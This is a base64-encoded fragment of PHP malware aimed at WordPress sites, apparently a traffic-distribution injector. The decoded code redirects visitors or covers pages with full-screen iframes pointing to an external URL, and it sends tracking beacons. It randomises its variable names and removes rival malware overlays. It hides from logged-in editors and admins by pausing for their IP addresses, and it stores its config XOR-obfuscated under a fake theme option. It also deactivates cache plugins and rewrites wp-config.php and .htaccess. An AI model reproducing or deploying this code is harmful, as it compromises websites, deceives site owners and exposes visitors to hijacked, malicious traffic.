2NoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfY3IgIT09IGZhbHNlICYmICRfY29kZSA9PT0gMjAwKSB7ICRfc2VudCA9IHRydWU7IGJyZWFrOyB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9jciA9IEBmaWxlX2dldF9jb250ZW50cygkX2JkX2Z1bGwsIGZhbHNlLCBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnID0+IGFycmF5KCd0aW1lb3V0JyA9PiAyKSkpKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfY3IgIT09IGZhbHNlKSB7ICRfc2VudCA9IHRydWU7IGJyZWFrOyB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghZGVmaW5lZCgnX1NNX1JFRElSRUNUX09LJykpIGRlZmluZSgnX1NNX1JFRElSRUNUX09LJywgMSk7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX3JlZGlyZWN0JykpIHsKICAgICAgICAgICAgICAgIHdwX3JlZGlyZWN0KCRfdGFyZ2V0X3VybCwgMzAyKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkX3RhcmdldF91cmwsIHRydWUsIDMwMik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CgogICAgICAgIC8vIGlmcmFtZSAvIG5ld3RhYjogaW5qZWN0IHZpYSB3cF9ib2R5X29wZW4gKGVhcmx5KSArIHdwX2Zvb3RlciAoZmFsbGJhY2spCiAgICAgICAgJF90ZHNfcmVuZGVyX292ZXJsYXkgPSBmdW5jdGlvbiAoKSB1c2UgKCRfdGFyZ2V0X3VybCwgJF9tb2RlLCAkX3Rkc19jZmcsICRfYmVhY29uX2RhdGEsICRfYmVhY29uX2RhdGFfYXJyLCAkX2Rpc21pc3MpIHsKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ19URFNfSUZSQU1FX0RPTkUnKSkgcmV0dXJuOwogICAgICAgICAgICBkZWZpbmUoJ19URFNfSUZSQU1FX0RPTkUnLCAxKTsKICAgICAgICAgICAgJF91cmxfZXNjID0gaHRtbHNwZWNpYWxjaGFycygkX3RhcmdldF91cmwsIEVOVF9RVU9URVMsICdVVEYtOCcpOwogICAgICAgICAgICAkX2J0bl90ZXh0ID0gaXNzZXQoJF90ZHNfY2ZnWydkaXNtaXNzX2J1dHRvbl90ZXh0J10pID8gaHRtbHNwZWNpYWxjaGFycygkX3Rkc19jZmdbJ2Rpc21pc3NfYnV0dG9uX3RleHQnXSwgRU5UX1FVT1RFUywgJ1VURi04JykgOiAnQ29udGludWUgdG8gc2l0ZSc7CiAgICAgICAgICAgICRfYnRuX2RlbGF5ID0gaXNzZXQoJF90ZHNfY2ZnWydkaXNtaXNzX2J1dHRvbl9kZWxheV9zZWMnXSkgPyAoaW50KSRfdGRzX2NmZ1snZGlzbWlzc19idXR0b25fZGVsYXlfc2VjJ10gOiA1OwoKICAgICAgICAgICAgLy8gUG9seW1vcnBoaWMgdmFyaWFibGUgbmFtZXMKICAgICAgICAgICAgJF9wZnggPSAoJzEnID09PSAnMScpID8gJ18nIC4gc3Vic3RyKG1kNShtaWNyb3RpbWUodHJ1ZSkgLiBtdF9yYW5kKCkpLCAwLCA2KSA6ICdfdGRzJzsKICAgICAgICAgICAgJF9kaXZfaWQgPSAkX3BmeCAuICdfbyc7CiAgICAgICAgICAgICRfZm5fY2xvc2UgPSAkX3BmeCAuICdfYyc7CiAgICAgICAgICAgICRfZm5faW5pdCA9ICRfcGZ4IC4gJ19pJzsKCiAgICAgICAgICAgIGlmICgkX21vZGUgPT09ICdpZnJhbWUnKSB7CiAgICAgICAgICAgICAgICAvLyBSZW1vdmUgZWFybGllciBURFMvbWFsd2FyZSBvdmVybGF5cyDigJQgc2tpcCBvdXIgb3duIGRpdiAoZGF0YS1zbSBhdHRyaWJ1dGUpCiAgICAgICAgICAgICAgICAvLyBSZW1vdmVzIEFMTCBmdWxsc2NyZWVuIGZpeGVkIG92ZXJsYXlzIChub3QganVzdCB0aG9zZSB3aXRoIGlmcmFtZSkKICAgICAgICAgICAgICAgIC8vIFJ1bnMgaW1tZWRpYXRlbHkgKyByZXBlYXRzIGV2ZXJ5IDJzIGZvciAzMHMgdG8gY2F0Y2ggSlMtaW5qZWN0ZWQgb3ZlcmxheXMKICAgICAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+KGZ1bmN0aW9uKCl7ZnVuY3Rpb24gYygpe3ZhciBkcz1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCJkaXZbc3R5bGUqPVxcInBvc2l0aW9uOmZpeGVkXFwiXVtzdHlsZSo9XFwiei1pbmRleFxcIl0iKTtmb3IodmFyIGk9MDtpPGRzLmxlbmd0aDtpKyspe2lmKGRzW2ldLmdldEF0dHJpYnV0ZSgiZGF0YS1zbSIpKWNvbnRpbnVlO3ZhciBzPWRzW2ldLnN0eWxlO2lmKHMud2lkdGgmJnMuaGVpZ2h0JiYocGFyc2VJbnQocy56SW5kZXh8fDApPjk5OTk5OXx8cy56SW5kZXg9PT0iMjE0NzQ4MzY0NyIpKWRzW2ldLnJlbW92ZSgpfX1jKCk7dmFyIG49MCx0PXNldEludGVydmFsKGZ1bmN0aW9uKCl7YygpO2lmKCsrbj49MTUpY2xlYXJJbnRlcnZhbCh0KX0sMjAwMCl9KSgpPC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9IicgLiAkX2Rpdl9pZCAuICciIGRhdGEtc209IjEiIHN0eWxlPSJwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwdnc7aGVpZ2h0OjEwMHZoO3otaW5kZXg6MjE0NzQ4MzY0NztiYWNrZ3JvdW5kOnRyYW5zcGFyZW50Ij4nOwogICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBkYXRhLXNtPSIxIiBzcmM9IicgLiAkX3VybF9lc2MgLiAnIiBzdHlsZT0id2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtib3JkZXI6bm9uZSIgYWxsb3dmdWxsc2NyZWVuPjwvaWZyYW1lPic7CiAgICAgICAgICAgICAgICBpZiAoJF9kaXNtaXNzID09PSAnYnV0dG9uJykgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9IicgLiAkX2Rpdl9pZCAuICdfYiIgc3R5bGU9ImRpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDtib3R0b206MjBweDtsZWZ0OjUwJTt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtNTAlKTt6LWluZGV4OjIxNDc0ODM2NDc7cGFkZGluZzoxMnB4IDMycHg7YmFja2dyb3VuZDojZmZmO2NvbG9yOiMwMDA7Ym9yZGVyLXJhZGl1czo4cHg7Y3Vyc29yOnBvaW50ZXI7Zm9udDoxNnB4LzEgc2Fucy1zZXJpZjtib3gtc2hhZG93OjAgNHB4IDI0cHggcmdiYSgwLDAsMCwuNSkiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnJyAuICRfZGl2X2lkIC4gJ1wnKS5yZW1vdmUoKSI+JyAuICRfYnRuX3RleHQgLiAnPC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8c2NyaXB0PnNldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgYj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJyAuICRfZGl2X2lkIC4gJ19iIik7aWYoYiliLnN0eWxlLmRpc3BsYXk9ImJsb2NrIn0sJyAuICgkX2J0bl9kZWxheSAqIDEwMDApIC4gJyk8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnPHNjcmlwdD53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsZnVuY3Rpb24oZSl7aWYoZS5kYXRhJiZlLmRhdGEudHlwZT09PSJjZi1jYXB0Y2hhLXZlcmlmaWVkIil7ZG9jdW1lbnQuY29va2llPSJfY2ZfdmVyaWZpZWQ9MTtwYXRoPS87bWF4LWFnZT03Nzc2MDAwIjt2YXIgZHM9ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiZGl2W3N0eWxlKj1cXCJwb3NpdGlvbjpmaXhlZFxcIl1bc3R5bGUqPVxcInotaW5kZXhcXCJdIik7Zm9yKHZhciBpPTA7aTxkcy5sZW5ndGg7aSsrKXtpZihkc1tpXS5xdWVyeVNlbGVjdG9yKCJpZnJhbWUiKSlkc1tpXS5yZW1vdmUoKX19fSk8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICAgICAgfSBlbHNlaWYgKCRfbW9kZSA9PT0gJ25ld3RhYicpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+KGZ1bmN0aW9uKCl7dmFyICcgLiAkX2ZuX2luaXQgLiAnPWZ1bmN0aW9uKCl7d2luZG93Lm9wZW4oIicgLiAkX3VybF9lc2MgLiAnIiwiX2JsYW5rIil9Oyc7CiAgICAgICAgICAgICAgICBlY2hvICdpZihkb2N1bWVudC52aXNpYmlsaXR5U3RhdGU9PT0idmlzaWJsZSIpeycgLiAkX2ZuX2luaXQgLiAnKCl9ZWxzZXtkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJ2aXNpYmlsaXR5Y2hhbmdlIixmdW5jdGlvbiAnIC4gJF9mbl9jbG9zZSAuICcoKXtpZihkb2N1bWVudC52aXNpYmlsaXR5U3RhdGU9PT0idmlzaWJsZSIpeycgLiAkX2ZuX2luaXQgLiAnKCk7ZG9jdW1lbnQucmVtb3ZlRXZlbnRMaXN0ZW5lcigidmlzaWJpbGl0eWNoYW5nZSIsJyAuICRfZm5fY2xvc2UgLiAnKX19KX19KSgpPC9zY3JpcHQ+JzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQmVhY29uIHBpeGVsIC0tIG11bHRpLVVSTCBmYWxsYmFjawogICAgICAgICAgICBpZiAoIWVtcHR5KCRfYmVhY29uX2RhdGFfYXJyKSkgewogICAgICAgICAgICAgICAgZ2xvYmFsICRfdGRzX2JlYWNvbl9zZW50OwogICAgICAgICAgICAgICAgJF90ZHNfYmVhY29uX3NlbnQgPSB0cnVlOwogICAgICAgICAgICAgICAgJF9qc191cmxzID0ganNvbl9lbmNvZGUoJF9iZWFjb25fZGF0YV9hcnIpOwogICAgICAgICAgICAgICAgZWNobyAnPHNjcmlwdD4oZnVuY3Rpb24oKXt2YXIgdT0nIC4gJF9qc191cmxzIC4gJyxpPTA7ZnVuY3Rpb24gcygpe2lmKGk+PXUubGVuZ3RoKXJldHVybjt0cnl7aWYobmF2aWdhdG9yLnNlbmRCZWFjb24mJm5hdmlnYXRvci5zZW5kQmVhY29uKHVbaV0pKXJldHVybjt0aHJvdyAwfWNhdGNoKGUpe3ZhciBtPW5ldyBJbWFnZSgpO20ub25lcnJvcj1mdW5jdGlvbigpe2krKztzKCl9O20uc3JjPXVbaV19fTtzKCl9KSgpPC9zY3JpcHQ+JzsKICAgICAgICAgICAgfQogICAgICAgIH07CiAgICAgICAgYWRkX2FjdGlvbignd3BfYm9keV9vcGVuJywgJF90ZHNfcmVuZGVyX292ZXJsYXksIDEpOwogICAgICAgIGFkZF9hY3Rpb24oJ3dwX2Zvb3RlcicsICRfdGRzX3JlbmRlcl9vdmVybGF5LCA5OTk5OSk7CgogICAgfSwgMSk7CgogICAgLy8g4pSA4pSAIEFkbWluIGxvZ2luIGhvb2s6IHNldCBwYXVzZSB0cmFuc2llbnQg4pSA4pSACiAgICBhZGRfYWN0aW9uKCd3cF9sb2dpbicsIGZ1bmN0aW9uICgkX2xvZ2luLCAkX3VzZXIpIHsKICAgICAgICBpZiAoaXNfb2JqZWN0KCRfdXNlcikgJiYgbWV0aG9kX2V4aXN0cygkX3VzZXIsICdoYXNfY2FwJykpIHsKICAgICAgICAgICAgaWYgKCRfdXNlci0+aGFzX2NhcCgnZWRpdF9wb3N0cycpKSB7CiAgICAgICAgICAgICAgICAkX3BoID0gNjsKICAgICAgICAgICAgICAgICRfdGRzX3NhbHQgPSBkZWZpbmVkKCdBVVRIX1NBTFQnKSA/IEFVVEhfU0FMVCA6IChkZWZpbmVkKCdEQl9OQU1FJykgPyBEQl9OQU1FIDogJ3dwJyk7CiAgICAgICAgICAgICAgICAkX3Rkc19rZXkgPSAoJzEnID09PSAnMScpCiAgICAgICAgICAgICAgICAgICAgPyAnX3dwX3RoZW1lX2NvbXBhdF8nIC4gc3Vic3RyKG1kNSgkX3Rkc19zYWx0IC4gJ3RkcycpLCAwLCAxMikKICAgICAgICAgICAgICAgICAgICA6ICdfdGRzX2NvbmZpZyc7CiAgICAgICAgICAgICAgICAkX3JhdyA9IGdldF9vcHRpb24oJF90ZHNfa2V5LCAnJyk7CiAgICAgICAgICAgICAgICBpZiAoJF9yYXcpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJzEnID09PSAnMScgJiYgc3Vic3RyKCRfcmF3LCAwLCA0KSA9PT0gJ1hPUjonKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfeGsgPSBzdWJzdHIobWQ1KERCX05BTUUgLiAkX3Rkc19zYWx0KSwgMCwgMzIpOwogICAgICAgICAgICAgICAgICAgICAgICAkX2VuYyA9IGJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfcmF3LCA0KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZGVjID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJF94aSA9IDA7ICRfeGkgPCBzdHJsZW4oJF9lbmMpOyAkX3hpKyspICRfZGVjIC49IGNocihvcmQoJF9lbmNbJF94aV0pIF4gb3JkKCRfeGtbJF94aSAlIDMyXSkpOwogICAgICAgICAgICAgICAgICAgICAgICAkX3JhdyA9ICRfZGVjOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkX2NmZyA9IEBqc29uX2RlY29kZSgkX3JhdywgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRfY2ZnKSAmJiBpc3NldCgkX2NmZ1snYWRtaW5fcGF1c2VfaG91cnMnXSkpICRfcGggPSAoaW50KSRfY2ZnWydhZG1pbl9wYXVzZV9ob3VycyddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCRfcGggPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJF9pcCA9IGlzc2V0KCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSA/ICRfU0VSVkVSWydSRU1PVEVfQUREUiddIDogJyc7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfaXApIHNldF90cmFuc2llbnQoJ190ZHNfYWRtaW5faXBfJyAuIG1kNSgkX2lwKSwgMSwgJF9waCAqIDM2MDApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSwgMTAsIDIpOwp9IC8vIGVuZCBCbG9jayAxMgoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDEzYSDigJQgQW5hbHl0aWNzIENhY2hlIEJ5cGFzcyAoZmFsbGJhY2sgZm9yIGFuYWx5dGljcy1vbmx5IHNpdGVzKQogKiBXaGVuIFREUyBsYXllciBpcyBvZmYgYnV0IGFuYWx5dGljcyBpcyBvbiwgZW5zdXJlIFBIUCBpcyBub3QKICogYnlwYXNzZWQgYnkgc3RhdGljLWZpbGUtc2VydmluZyBjYWNoZSBwbHVnaW5zLgogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCcxJyA9PT0gJzEnICYmICcwJyAhPT0gJzEnICYmICEkX3dwX3Nlc3Npb25fcGF1c2VkKSB7CiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnX3Rkc19zYWZlX3dyaXRlJykpIHsKICAgICAgICBmdW5jdGlvbiBfdGRzX3NhZmVfd3JpdGUoJF9wYXRoLCAkX2NvbnRlbnQsICRfbWluX3NpemUgPSA2NCkgewogICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkX2NvbnRlbnQpIHx8IHN0cmxlbigkX2NvbnRlbnQpIDwgJF9taW5fc2l6ZSkgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAkX3RtcCA9ICRfcGF0aCAuICcudGRzXycgLiBnZXRteXBpZCgpOwogICAgICAgICAgICAkX3dyaXR0ZW4gPSBAZmlsZV9wdXRfY29udGVudHMoJF90bXAsICRfY29udGVudCwgTE9DS19FWCk7CiAgICAgICAgICAgIGlmICgkX3dyaXR0ZW4gIT09IHN0cmxlbigkX2NvbnRlbnQpKSB7IEB1bmxpbmsoJF90bXApOyByZXR1cm4gZmFsc2U7IH0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJF90bXAsICRfcGF0aCkpIHJldHVybiB0cnVlOwogICAgICAgICAgICBpZiAoQGNvcHkoJF90bXAsICRfcGF0aCkpIHsgQHVubGluaygkX3RtcCk7IHJldHVybiB0cnVlOyB9CiAgICAgICAgICAgIEB1bmxpbmsoJF90bXApOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQogICAgYWRkX2FjdGlvbigncGx1Z2luc19sb2FkZWQnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJ19hbmFseXRpY3NfY2FjaGVfbnVrZV9vaycpKSByZXR1cm47CiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJ19hbmFseXRpY3NfY2FjaGVfbnVrZV9vaycsIDEsIDkwMCk7CgogICAgICAgICAgICAvLyBEZWFjdGl2YXRlIGNhY2hlIHBsdWdpbnMKICAgICAgICAgICAgJF9hY3QgPSBnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkpOwogICAgICAgICAgICBpZiAoaXNfYXJyYXkoJF9hY3QpKSB7CiAgICAgICAgICAgICAgICAkX2NsZWFuID0gYXJyYXkoKTsgJF9raWxsZWQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfYWN0IGFzICRfcGwpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkX3BsKSkgeyAkX2NsZWFuW10gPSAkX3BsOyBjb250aW51ZTsgfQogICAgICAgICAgICAgICAgICAgICRfaXMgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChhcnJheSgnc3BlZWR5Y2FjaGUnLCd3cC1zdXBlci1jYWNoZScsJ3czLXRvdGFsLWNhY2hlJywnd3AtZmFzdGVzdC1jYWNoZScsJ2xpdGVzcGVlZC1jYWNoZScsJ3dwLXJvY2tldCcsJ2JyZWV6ZScsJ2h1bW1pbmdiaXJkJywnc2ctY2FjaGVwcmVzcycsJ3Bvd2VyZWQtY2FjaGUnLCdjb21ldC1jYWNoZScsJ2NhY2hlLWVuYWJsZXInLCdzd2lmdC1wZXJmb3JtYW5jZScsJ25pdHJvcGFjaycsJ2ZseWluZ3ByZXNzJywnd3Atb3B0aW1pemUnKSBhcyAkX3MpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJF9wbCwgJF9zKSAhPT0gZmFsc2UpIHsgJF9pcyA9IHRydWU7ICRfa2lsbGVkID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkX2lzKSAkX2NsZWFuW10gPSAkX3BsOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCRfa2lsbGVkKSB1cGRhdGVfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsICRfY2xlYW4pOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBXUF9DQUNIRT1mYWxzZQogICAgICAgICAgICAkX3dwYyA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7CiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX3dwYykgJiYgaXNfd3JpdGFibGUoJF93cGMpKSB7CiAgICAgICAgICAgICAgICAkX2NmZyA9IEBmaWxlX2dldF9jb250ZW50cygkX3dwYyk7CiAgICAgICAgICAgICAgICBpZiAoJF9jZmcgJiYgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1XUF9DQUNIRVsnXCJdXHMqLFxzKnRydWVccypcKS9pIiwgJF9jZmcpKSB7CiAgICAgICAgICAgICAgICAgICAgJF9uZXdfY2ZnID0gcHJlZ19yZXBsYWNlKCIvZGVmaW5lXHMqXChccypbJ1wiXVdQX0NBQ0hFWydcIl1ccyosXHMqdHJ1ZVxzKlwpL2kiLCAiZGVmaW5lKCdXUF9DQUNIRScsZmFsc2UpIiwgJF9jZmcpOwogICAgICAgICAgICAgICAgICAgIGlmICgkX25ld19jZmcgJiYgc3RycG9zKCRfbmV3X2NmZywgJ0RCX05BTUUnKSAhPT0gZmFsc2UgJiYgZnVuY3Rpb25fZXhpc3RzKCdfdGRzX3NhZmVfd3JpdGUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBfdGRzX3NhZmVfd3JpdGUoJF93cGMsICRfbmV3X2NmZywgMjAwKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIC5odGFjY2Vzczogc3RyaXAgQUxMIGNhY2hlLXBsdWdpbiByZXdyaXRlIGJsb2NrcwogICAgICAgICAgICAkX2h0ID0gQUJTUEFUSCAuICcuaHRhY2Nlc3MnOwogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9odCkgJiYgaXNfd3JpdGFibGUoJF9odCkpIHsKICAgICAgICAgICAgICAgICRfaHRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfaHQpOwogICAgICAgICAgICAgICAgaWYgKCRfaHRjKSB7CiAgICAgICAgICAgICAgICAgICAgJF9vcmlnID0gJF9odGM7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICdXcEZhc3Rlc3RDYWNoZScsJ0d6aXBXcEZhc3Rlc3RDYWNoZScsJ0xCQ1dwRmFzdGVzdENhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgJ1czVEMgUGFnZSBDYWNoZScsJ1czVEMgQnJvd3NlciBDYWNoZScsJ1czVEMgTWluaWZ5JywnVzNUQyBDRE4nLCdXM1RDJywKICAgICAgICAgICAgICAgICAgICAgICAgJ1dQU3VwZXJDYWNoZScsJ0xTQ0FDSEUnLCdMaXRlU3BlZWQnLCdDYWNoZUVuYWJsZXInLCdjYWNoZV9lbmFibGVyJywKICAgICAgICAgICAgICAgICAgICAgICAgJ1NUQVJURVInLCdTVEFSVEVSX0NBQ0hFJywnU0dPcHRpbWl6ZXInLCdTdGFydGVyIFBhZ2UgQ2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAnQlJFRVpFJywnV1AgUm9ja2V0JywnTml0cm9QYWNrJywnU0cgT3B0aW1pemVyJywKICAgICAgICAgICAgICAgICAgICAgICAgJ1N0YXJ0ZXIgQ2FjaGUnLCdTdGFydGVyLVBhZ2UtQ2FjaGUnLCdwb3dlcmVkIGNhY2hlJywnUG93ZXJlZENhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgJ3N3aWZ0LXBlcmZvcm1hbmNlJywnU3dpZnRQZXJmb3JtYW5jZScsJ0ZseWluZ1ByZXNzJywnSHVtbWluZ2JpcmQnLAogICAgICAgICAgICAgICAgICAgICAgICAnU3BlZWR5Q2FjaGUnLCdTcGVlZHlQYWdlQ2FjaGUnLAogICAgICAgICAgICAgICAgICAgICkgYXMgJF9ibCkgewogICAgICAgICAgICAgICAgICAgICAgICAkX2h0YyA9IHByZWdfcmVwbGFjZSgnL1xzKiNccypCRUdJTlxzKycgLiBwcmVnX3F1b3RlKCRfYmwsICcvJykgLiAnLio/I1xzKkVORFxzKycgLiBwcmVnX3F1b3RlKCRfYmwsICcvJykgLiAnW15cbl0qL3NpJywgJycsICRfaHRjKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJF9odGMgPSBwcmVnX3JlcGxhY2UoJy9eXHMqUmV3cml0ZVJ1bGVccysuKndwLWNvbnRlbnRcL2NhY2hlXC9hbGxcLy4qJC9taScsICcnLCAkX2h0Yyk7CiAgICAgICAgICAgICAgICAgICAgJF9odGMgPSBwcmVnX3JlcGxhY2UoJy9eXHMqUmV3cml0ZVJ1bGVccysuKndwLWNvbnRlbnRcL2NhY2hlXC9zdXBlcmNhY2hlXC8uKiQvbWknLCAnJywgJF9odGMpOwogICAgICAgICAgICAgICAgICAgICRfaHRjID0gcHJlZ19yZXBsYWNlKCcvXG57NCx9LycsICJcblxuIiwgJF9odGMpOwogICAgICAgICAgICAgICAgICAgIGlmICgkX2h0YyAhPT0gJF9vcmlnICYmIGZ1bmN0aW9uX2V4aXN0cygnX3Rkc19zYWZlX3dyaXRlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgX3Rkc19zYWZlX3dyaXRlKCRfaHQsICRfaHRjLCAxMCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBEZWxldGUgY2FjaGUgZmlsZXMgb24gZGlzawogICAgICAgICAgICAkX2RpcnMgPSBhcnJheShXUF9DT05URU5UX0RJUiAuICcvY2FjaGUnLCBXUF9DT05URU5UX0RJUiAuICcvbGl0ZXNwZWVkJyk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfZGlycyBhcyAkX2QpIHsKICAgICAgICAgICAgICAgIGlmICghaXNfZGlyKCRfZCkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAkX2l0ID0gbmV3IFxSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKAogICAgICAgICAgICAgICAgICAgICAgICBuZXcgXFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRfZCwgXFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yOjpTS0lQX0RPVFMpLAogICAgICAgICAgICAgICAgICAgICAgICBcUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6Q0hJTERfRklSU1QKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfaXQgYXMgJF9mKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2YtPmlzRmlsZSgpICYmIHByZWdfbWF0Y2goJy9cLihodG1sfGh0bWxcLmd6fGpzb24pJC9pJywgJF9mLT5nZXRGaWxlbmFtZSgpKSkgQHVubGluaygkX2YtPmdldFJlYWxQYXRoKCkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9lKSB7fQogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2UpIHt9CiAgICB9LCAwKTsKCiAgICAvLyBOby1jYWNoZSBoZWFkZXJzIGZvciBhbmFseXRpY3MgYWNjdXJhY3kKICAgIGlmICghaXNfYWRtaW4oKSAmJiAhZGVmaW5lZCgnRE9JTkdfQ1JPTicpICYmICFkZWZpbmVkKCdXUF9DTEknKSAmJiAhZGVmaW5lZCgnRE9JTkdfQUpBWCcpICYmIHBocF9zYXBpX25hbWUoKSAhPT0gJ2NsaScpIHsKICAgICAgICBmb3JlYWNoIChhcnJheSgnRE9OT1RDQUNIRVBBR0UnLCdMU0NBQ0hFX05PX0NBQ0hFJywnRE9OT1RST0NLRVRPUFRJTUlaRScpIGFzICRfY2spIHsKICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCRfY2spKSBkZWZpbmUoJF9jaywgdHJ1ZSk7CiAgICAgICAgfQogICAgICAgIGFkZF9hY3Rpb24oJ3NlbmRfaGVhZGVycycsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIGlmIChoZWFkZXJzX3NlbnQoKSkgcmV0dXJuOwogICAgICAgICAgICAgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgbWF4LWFnZT0wLCBzLW1heGFnZT0wLCBwcml2YXRlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1ByYWdtYTogbm8tY2FjaGUnKTsKICAgICAgICA